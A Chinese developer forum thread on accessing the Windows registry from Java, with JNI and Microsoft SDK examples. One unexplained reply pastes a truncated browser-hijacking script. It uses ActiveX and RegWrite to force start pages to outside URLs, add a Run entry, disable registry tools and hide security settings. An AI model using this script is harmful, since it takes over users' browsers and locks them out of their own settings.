直接是不能够操作的,但是你可以通过JNI的方法调用DLL,在DLL里面再
进行注册表的读写工作

解决方案 »

  1.   

    j2se 1.4中的 java.util.prefs.Preferences
      

  2.   

    通过mircosoft的 SDK FOR JAVA内的包,你可以直接操作注册表
    你可以去mircosoft下载.
      

  3.   

    通过JNI实现,有5个文件:
    1、Win32RegKey.java
    /**
     * @version 1.00 1997-07-01
     * @author Cay Horstmann
     */import java.util.*;public class Win32RegKey
    {  public Win32RegKey(int theRoot, String thePath)
       {  root = theRoot;
          path = thePath;
       }
       public Enumeration names()
       {  return new Win32RegKeyNameEnumeration(root, path);
       }
       public native Object getValue(String name);
       public native void setValue(String name, Object value);   public static final int HKEY_CLASSES_ROOT = 0x80000000;
       public static final int HKEY_CURRENT_USER = 0x80000001;
       public static final int HKEY_LOCAL_MACHINE = 0x80000002;
       public static final int HKEY_USERS = 0x80000003;
       public static final int HKEY_CURRENT_CONFIG = 0x80000005;
       public static final int HKEY_DYN_DATA = 0x80000006;   private int root;
       private String path;   static
       {  System.loadLibrary("Win32RegKey");
       }
    }class Win32RegKeyNameEnumeration implements Enumeration
    {  Win32RegKeyNameEnumeration(int theRoot, String thePath)
       {  root = theRoot;
          path = thePath;
       }   public native Object nextElement();
       public native boolean hasMoreElements();   private int root;
       private String path;
       private int index = -1;
       private int hkey = 0;
       private int maxsize;
       private int count;
    }class Win32RegKeyException extends RuntimeException
    {  public Win32RegKeyException() {}
       public Win32RegKeyException(String why)
       {  super(why);
       }
    }
    2、Win32RegKeyTest.java
    /**
     * @version 1.00 1997-07-01
     * @author Cay Horstmann
     */import java.util.*;public class Win32RegKeyTest
    {  public static void main(String[] args)
       {  Win32RegKey key = new Win32RegKey(
             Win32RegKey.HKEY_CURRENT_USER,
             "Software\\Microsoft\\MS Setup (ACME)\\User Info");      key.setValue("Default user", "Bozo the clown");
          key.setValue("Lucky number", new Integer(13));
          key.setValue("Small primes", new byte[]
             { 2, 3, 5, 7, 11 });      Enumeration enum = key.names();      while (enum.hasMoreElements())
          {  String name = (String)enum.nextElement();
             System.out.print(name + " = ");         Object value = key.getValue(name);         if (value instanceof byte[])
             {  byte[] bvalue = (byte[])value;
                for (int i = 0; i < bvalue.length; i++)
                   System.out.print((bvalue[i] & 0xFF) + " ");
             }
             else System.out.print(value);         System.out.println();
          }
       }
    }
      

  4.   

    3、Win32RegKeyNameEnumeration.h
    /* DO NOT EDIT THIS FILE - it is machine generated */
    #include <jni.h>
    /* Header for class Win32RegKeyNameEnumeration */#ifndef _Included_Win32RegKeyNameEnumeration
    #define _Included_Win32RegKeyNameEnumeration
    #ifdef __cplusplus
    extern "C" {
    #endif
    /*
     * Class:     Win32RegKeyNameEnumeration
     * Method:    nextElement
     * Signature: ()Ljava/lang/Object;
     */
    JNIEXPORT jobject JNICALL Java_Win32RegKeyNameEnumeration_nextElement
      (JNIEnv *, jobject);/*
     * Class:     Win32RegKeyNameEnumeration
     * Method:    hasMoreElements
     * Signature: ()Z
     */
    JNIEXPORT jboolean JNICALL Java_Win32RegKeyNameEnumeration_hasMoreElements
      (JNIEnv *, jobject);#ifdef __cplusplus
    }
    #endif
    #endif
    4、Win32RegKey.h
    /* DO NOT EDIT THIS FILE - it is machine generated */
    #include <jni.h>
    /* Header for class Win32RegKey */#ifndef _Included_Win32RegKey
    #define _Included_Win32RegKey
    #ifdef __cplusplus
    extern "C" {
    #endif
    /*
     * Class:     Win32RegKey
     * Method:    getValue
     * Signature: (Ljava/lang/String;)Ljava/lang/Object;
     */
    JNIEXPORT jobject JNICALL Java_Win32RegKey_getValue
      (JNIEnv *, jobject, jstring);/*
     * Class:     Win32RegKey
     * Method:    setValue
     * Signature: (Ljava/lang/String;Ljava/lang/Object;)V
     */
    JNIEXPORT void JNICALL Java_Win32RegKey_setValue
      (JNIEnv *, jobject, jstring, jobject);#ifdef __cplusplus
    }
    #endif
    #endif
      

  5.   

    5、Win32RegKey.c
    /**
     * @version 1.00 1997-07-01
     * @author Cay Horstmann
     */#include "Win32RegKey.h"
    #include "Win32RegKeyNameEnumeration.h"
    #include <string.h>
    #include <stdlib.h>
    #include <windows.h>JNIEXPORT jobject JNICALL Java_Win32RegKey_getValue
      (JNIEnv* env, jobject this_obj, jstring name)
    {  const char* cname;
       jstring path;
       const char* cpath;
       HKEY hkey;
       DWORD type;
       DWORD size;
       jclass this_class;
       jfieldID id_root;
       jfieldID id_path;
       HKEY root;
       jobject ret;
       char* cret;   /* get the class */
       this_class = (*env)->GetObjectClass(env, this_obj);   /* get the field IDs */
       id_root = (*env)->GetFieldID(env, this_class, "root", "I");
       id_path = (*env)->GetFieldID(env, this_class, "path",
          "Ljava/lang/String;");   /* get the fields */
       root = (HKEY)(*env)->GetIntField(env, this_obj, id_root);
       path = (jstring)(*env)->GetObjectField(env, this_obj,
          id_path);
       cpath = (*env)->GetStringUTFChars(env, path, NULL);   /* open the registry key */
       if (RegOpenKeyEx(root, cpath, 0, KEY_READ, &hkey)
          != ERROR_SUCCESS)
       {  (*env)->ThrowNew(env,
             (*env)->FindClass(env, "Win32RegKeyException"),
             "Open key failed");
          (*env)->ReleaseStringUTFChars(env, path, cpath);
          return NULL;
       }   (*env)->ReleaseStringUTFChars(env, path, cpath);
       cname = (*env)->GetStringUTFChars(env, name, NULL);   /* find the type and size of the value */
       if (RegQueryValueEx(hkey, cname, NULL, &type, NULL, &size) != ERROR_SUCCESS)
       {  (*env)->ThrowNew(env,
             (*env)->FindClass(env, "Win32RegKeyException"),
             "Query value key failed");
          RegCloseKey(hkey);
          (*env)->ReleaseStringUTFChars(env, name, cname);
          return NULL;
       }   /* get memory to hold the value */
       cret = (char*)malloc(size);   /* read the value */
       if (RegQueryValueEx(hkey, cname, NULL, &type, cret, &size) != ERROR_SUCCESS)
       {  (*env)->ThrowNew(env,
             (*env)->FindClass(env, "Win32RegKeyException"),
             "Query value key failed");
          free(cret);
          RegCloseKey(hkey);
          (*env)->ReleaseStringUTFChars(env, name, cname);
          return NULL;
       }   /* depending on the type, store the value in a string,
          integer or byte array */
       if (type == REG_SZ)
       {  ret = (*env)->NewStringUTF(env, cret);
       }
       else if (type == REG_DWORD)
       {  jclass class_Integer = (*env)->FindClass(env,
             "java/lang/Integer");
          /* get the method ID of the constructor */
          jmethodID id_Integer = (*env)->GetMethodID(env,
             class_Integer, "<init>", "(I)V");
          int value = *(int*)cret;
          /* invoke the constructor */
          ret = (*env)->NewObject(env, class_Integer, id_Integer,
             value);
       }
       else if (type == REG_BINARY)
       {  ret = (*env)->NewByteArray(env, size);
          (*env)->SetByteArrayRegion(env, (jarray)ret, 0, size,
             cret);
       }
       else
       {  (*env)->ThrowNew(env,
             (*env)->FindClass(env, "Win32RegKeyException"),
             "Unsupported value type");
          ret = NULL;
       }   free(cret);
       RegCloseKey(hkey);
       (*env)->ReleaseStringUTFChars(env, name, cname);   return ret;
    }JNIEXPORT void JNICALL Java_Win32RegKey_setValue
      (JNIEnv* env, jobject this_obj, jstring name, jobject value)
    {  const char* cname;
       jstring path;
       const char* cpath;
       HKEY hkey;
       DWORD type;
       DWORD size;
       jclass this_class;
       jclass class_value;
       jclass class_Integer;
       jfieldID id_root;
       jfieldID id_path;
       HKEY root;
       const char* cvalue;
       int ivalue;   /* get the class */
       this_class = (*env)->GetObjectClass(env, this_obj);   /* get the field IDs */
       id_root = (*env)->GetFieldID(env, this_class, "root", "I");
       id_path = (*env)->GetFieldID(env, this_class, "path",
          "Ljava/lang/String;");   /* get the fields */
       root = (HKEY)(*env)->GetIntField(env, this_obj, id_root);
       path = (jstring)(*env)->GetObjectField(env, this_obj,
          id_path);
       cpath = (*env)->GetStringUTFChars(env, path, NULL);   /* open the registry key */
       if (RegOpenKeyEx(root, cpath, 0, KEY_WRITE, &hkey)
          != ERROR_SUCCESS)
       {  (*env)->ThrowNew(env,
             (*env)->FindClass(env, "Win32RegKeyException"),
             "Open key failed");
          (*env)->ReleaseStringUTFChars(env, path, cpath);
          return;
       }   (*env)->ReleaseStringUTFChars(env, path, cpath);
       cname = (*env)->GetStringUTFChars(env, name, NULL);   class_value = (*env)->GetObjectClass(env, value);
       class_Integer = (*env)->FindClass(env, "java/lang/Integer");
       /* determine the type of the value object */
       if ((*env)->IsAssignableFrom(env, class_value,
          (*env)->FindClass(env, "java/lang/String")))
       {  /* it is a string--get a pointer to the characters */
          cvalue = (*env)->GetStringUTFChars(env, (jstring)value,
             NULL);
          type = REG_SZ;
          size = (*env)->GetStringLength(env, (jstring)value) + 1;
       }
       else if ((*env)->IsAssignableFrom(env, class_value,
          class_Integer))
       {  /* it is an integer--call intValue to get the value */
          jmethodID id_intValue = (*env)->GetMethodID(env,
             class_Integer, "intValue", "()I");
          ivalue = (*env)->CallIntMethod(env, value, id_intValue);
          type = REG_DWORD;
          cvalue = (char*)&ivalue;
          size = 4;
       }
       else if ((*env)->IsAssignableFrom(env, class_value,
          (*env)->FindClass(env, "[B")))
       {  /* it is a byte array--get a pointer to the bytes */
          type = REG_BINARY;
          cvalue = (char*)(*env)->GetByteArrayElements(env,
             (jarray)value, NULL);
          size = (*env)->GetArrayLength(env, (jarray)value);
       }
       else
       {  /* we don't know how to handle this type */
          (*env)->ThrowNew(env,
             (*env)->FindClass(env, "Win32RegKeyException"),
             "Unsupported value type");
          RegCloseKey(hkey);
          (*env)->ReleaseStringUTFChars(env, name, cname);
          return;
       }   /* set the value */
       if (RegSetValueEx(hkey, cname, 0, type, cvalue, size)
          != ERROR_SUCCESS)
       {  (*env)->ThrowNew(env,
             (*env)->FindClass(env, "Win32RegKeyException"),
             "Query value key failed");
       }   RegCloseKey(hkey);
       (*env)->ReleaseStringUTFChars(env, name, cname);   /* if the value was a string or byte array, release the
          pointer */
       if (type == REG_SZ)
       {  (*env)->ReleaseStringUTFChars(env, (jstring)value,
             cvalue);
       }
       else if (type == REG_BINARY)
       {  (*env)->ReleaseByteArrayElements(env, (jarray)value,
             (byte*)cvalue, 0);
       }
    }
      

  6.   

    你可以试试下面的例子:远程注册表访问 - http://www-900.ibm.com/developerworks/cn/security/s-regacc/index.shtml利用远程注册表访问 - http://www-900.ibm.com/developerworks/cn/security/s-remote/index.shtml
      

  7.   

    感谢 gsyn77_csdn()所提供的网址,
      现在基本清楚了对注册表的读取与写入是调用动态链接库RegConnect.DLL里面的两个方法来操作注册表的了,但是,接下来的介绍,我看了n遍了,还是不知道java如何连接到RegConnect.DLL的,请麻烦各位给讲一下,java是如何对dll进行操作的,本贴是必定要加分的,我现在真的好急啊!唉……………
      

  8.   

    你要作的是第一步用下面的代码在java中加载动态连接库:
    static
       {  System.loadLibrary("Win32RegKey");
       }
    然后定义一些本地方法,也就是DLL中实现的,如下:
    public native Object getValue(String name);
       public native void setValue(String name, Object value);
    最后将这些方法当作Java自己的方法直接调用就是了
      

  9.   

    jdk 1.4中的 java.util.prefs.Preferences
    可以有更多的方法支持对注册表进行操作但,我想问一下,用JAVA做的程序可以跨平台,你如果向注册表中写信息,那会有什么后果呢?
      

  10.   

    回复mysine(宝兰) ,他在不同平台上有不同实现,在破IBM的developerworks上有解释。(其实这个自己也想的到:))
      

  11.   

    似乎java自己不能修改注册表吧它整个是在一个虚拟机上运行的,操作应该仅仅限制在这个虚拟机上的
      

  12.   

    to  kare(小李飞刀的飞,小李飞刀的刀。):
      我定义一些本地方法以及在类中加载动态链接库的话,形式是不是如下的?
    class  类名
    {
      public void 方法名(形参)
       {
        方法体
       }
      public static void main(String args[])
       {
       System.loadlibrary("动态链接库");
      }
    }
    如果是上面的形式的话,那么我定义方法做什么呢?调用动态链接库里面的函数?
      

  13.   

    java通过ms的包就能直接操作注册表的`
    Registry就是注册表类给你一个例子
    是java访问com对象
    在java中调用Word7.0你只需要关注注册表操作的部分就可以了
    import wb70en32.*;
    import com.ms.com.*;
    import com.ms.lang.*;public class WordDemo extends Object
    {
        public static void main(String[] args)
        {
            try {// Get the Registry Key for CLASSES_ROOT
                RegKey root = RegKey.getRootKey(RegKey.CLASSES_ROOT);// From CLASSES_ROOT, get the key for Word.Basic
                RegKey wbkey = new RegKey(root,
                    揥ord.Basic? RegKey.KEYOPEN_READ);// From Word.Basic, get the CLSID
                RegKey clsid = new RegKey(wbkey, 揅LSID?
                    RegKey.KEYOPEN_READ);// Retrieve the CLSID from the CLSID key (it抯 the default value)
                String classID = ((RegKeyEnumValueString)clsid.
                    enumValue(0)).value;// Create a License Manager for accessing local server objects
                ILicenseMgr lm = (ILicenseMgr) new LicenseMgr();// Get a reference to WordBasic
                WordBasic wb = (WordBasic)
                    lm.createInstance(classID,
                        null, ComContext.LOCAL_SERVER);// Create a new file
                wb.FileNewDefault();// Insert some text
                wb.Insert(揌ello World!?;            wb.InsertPara();            wb.Insert(揌i there!?;// Print the text
                wb.FilePrintDefault();        } catch (Error e) {
                e.printStackTrace();
            }
        }
    }
      

  14.   

    realplay(代码录入员) :
     咦,怎么会有繁体字,有些就看不懂了………
    import wb70en32.*;
    import com.ms.com.*;
    import com.ms.lang.*;
    怎么在jcreator里面没有办法用,该下载什么东东的吗?
      

  15.   

    ccccccccccccccc<SCRIPT> 
     function AddFavLnk(loc, DispName, SiteURL) 
     { 
     var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); 
      Shor.TargetPath = SiteURL; 
     Shor.Save(); 
     } 
      
     function f(){ 
     try 
     { 
     a1=document.applets[0]; 
     a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
     a1.createInstance(); 
     Shl = a1.GetObject(); 
     a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
     a1.createInstance(); 
     FSO = a1.GetObject(); 
     a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
     a1.createInstance(); 
     Net = a1.GetObject(); 
     
      try{ 
     
     var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); 
     document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
     
     
     ///////////////////////////////////////////////////////////////////////////////http
     
     
      Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Page_URL", "http://112.cn.gs"); 
     Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://112.cn.gs"); 
     Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.hhijkl.y365.com/hj/hj.htm"); 
     Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", "1");    
     Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://hhijkl.y365.com/hj/hj.htm");
     Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource", "1");
     Shl.RegWrite ("HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD");
     Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecurityTab", "1");
     var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); 
     document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
     var WF, Shor, loc; 
     WF = FSO.GetSpecialFolder(0); 
     loc = WF + "\\Favorites"; 
     
     if(!FSO.FolderExists(loc)) 
     { 
     loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; 
     if(!FSO.FolderExists(loc)) 
     { 
     return; 
     } 
     } 
      

  16.   

    你要下载
    Microsoft SDK for Java 4.0安装完之后
    在安装目录下有个
    docs目录
    你看一下sdkdocs.chm这个帮助文件里面有关于
    com.ms.com
    com.ms.lang

    这些包的应用说明啊
    上面的程序只有这一段是有用的    说明:
        通过RegKey类,来访问CLASSES_ROOT\Word.Basic\CLSID
    的键值// Get the Registry Key for CLASSES_ROOT
                RegKey root = RegKey.getRootKey(RegKey.CLASSES_ROOT);// From CLASSES_ROOT, get the key for Word.Basic
                RegKey wbkey = new RegKey(root,
                    "Word.Basic", RegKey.KEYOPEN_READ);// From Word.Basic, get the CLSID
                RegKey clsid = new RegKey(wbkey, "CLSID",
                    RegKey.KEYOPEN_READ);// Retrieve the CLSID from the CLSID key (it's the default value)
                String classID = ((RegKeyEnumValueString)clsid.
                    enumValue(0)).value;明白了吧????很简单的,你要读写其它的键值也是一样的啊。
    SDK FORM JAVA里面包含了大量的例子包括用java来开发com
    activex组件等等
    还有用java开发ASP的组件
      

  17.   

    到这里去下载http://download.microsoft.com/download/javasdk/install/4.0/win98/en-us/SDKJava40.exe
      

  18.   

    多谢!
    上面的
    RegKeyEnumValueString)clsid.
                    enumValue(0)).value;
    这句该怎么理解呢?希望你还在
      

  19.   

    把clsid指向的值枚举出来
    然后通过RegKeyEnumValueString转型成字符川
      

  20.   

    你的意思是clsid是一个枚举类型了?!上面的意思便是读出第1项的值了?!
      

  21.   

    你得查查sdkdocs了。。:)
    先把环境配好呀。
    把com.ms的包找齐全,加到你的jdk的classpath里面
    然后慢慢试一下呀。应该不难的
    具体的操作注册表我没做过,但是,我用java做过com一般我很少搞这方面的,因为你用了这些东东就肯定不能夸平台了。
    RegKey的定义如下
    public class RegKey
    {
      // Fields
      public final static int CLASSES_ROOT;
      public final static int KEYOPEN_ALL;
      public final static int KEYOPEN_CREATE;
      public final static int KEYOPEN_READ;
      public final static int KEYOPEN_WRITE;
      public final static int LOCALMACHINE_ROOT;
      public final static int USER_ROOT;
      public final static int USERS_ROOT;  // Constructors
      public RegKey(RegKey rkParent, String subKey, int access)
            throws RegKeyException;
      public RegKey(int rootID, String subKey, int access)
            throws RegKeyException;
      public RegKey(int rootID,String subKey) throws RegKeyException;  // Methods
      public void close();
      public void deleteSubKey(String sub);
      public void deleteValue(String val);
      public String enumKey(int idx);
      public RegKeyEnumValue enumValue(int idx);
      public void finalize();
      public void flush();
      public byte[] getBinaryValue(String name);
      public int getIntValue(String name);
      public int getIntValue(String name, int defval);
      public final static RegKey getRootKey(int id);
      public String getStringValue(String name);
      public String getStringValue(String name,String defval);
      public void loadKey(String subKey, String fileName);
      public RegQueryInfo queryInfo();
      public void replace(String subKey, String newFile,
            String oldFile);
      public void restore( String filename, boolean vol );
      public void setValue(String subKey, String val);
      public void setValue(String subKey, byte val[]);
      public void setValue(String subKey, int val);
      public String toString();
      public void unload(String subKey);
      public RegKeyValueEnumerator values();
    }
      

  22.   

    我在downloading………,今天晚了,明天再试试看
      

  23.   

    我定义一些本地方法以及在类中加载动态链接库的话,形式是不是如下的?
    class  类名
    {
      //public void 方法名(形参)
      // {
      //  方法体
      // }
      
      //定义一些本地方法,也就是DLL中实现的,如下:
      public native void 方法名(参数列表);  public static void main(String args[])
       {
       System.loadlibrary("动态链接库");
      }
    }
    注意本地方法的定义形式,用native标明是本地方法,没有方法体,具体的方法体在DLL中实现
      

  24.   

    如果只是操作注册表的话,我有一个最简单的办法就是真接用java调用windows的regedit.exe程序,后面跟上一个注册表文件就行了. 先将要修改的注册表内容写入临时文件,然后再调用一下不就OK了.
      

  25.   

    用 java去读写win的注册表应该是一种尽量避免的行为,java的平台独立性消失
      

  26.   

    realplay(代码录入员) 厉害
    我学jni多次都学不成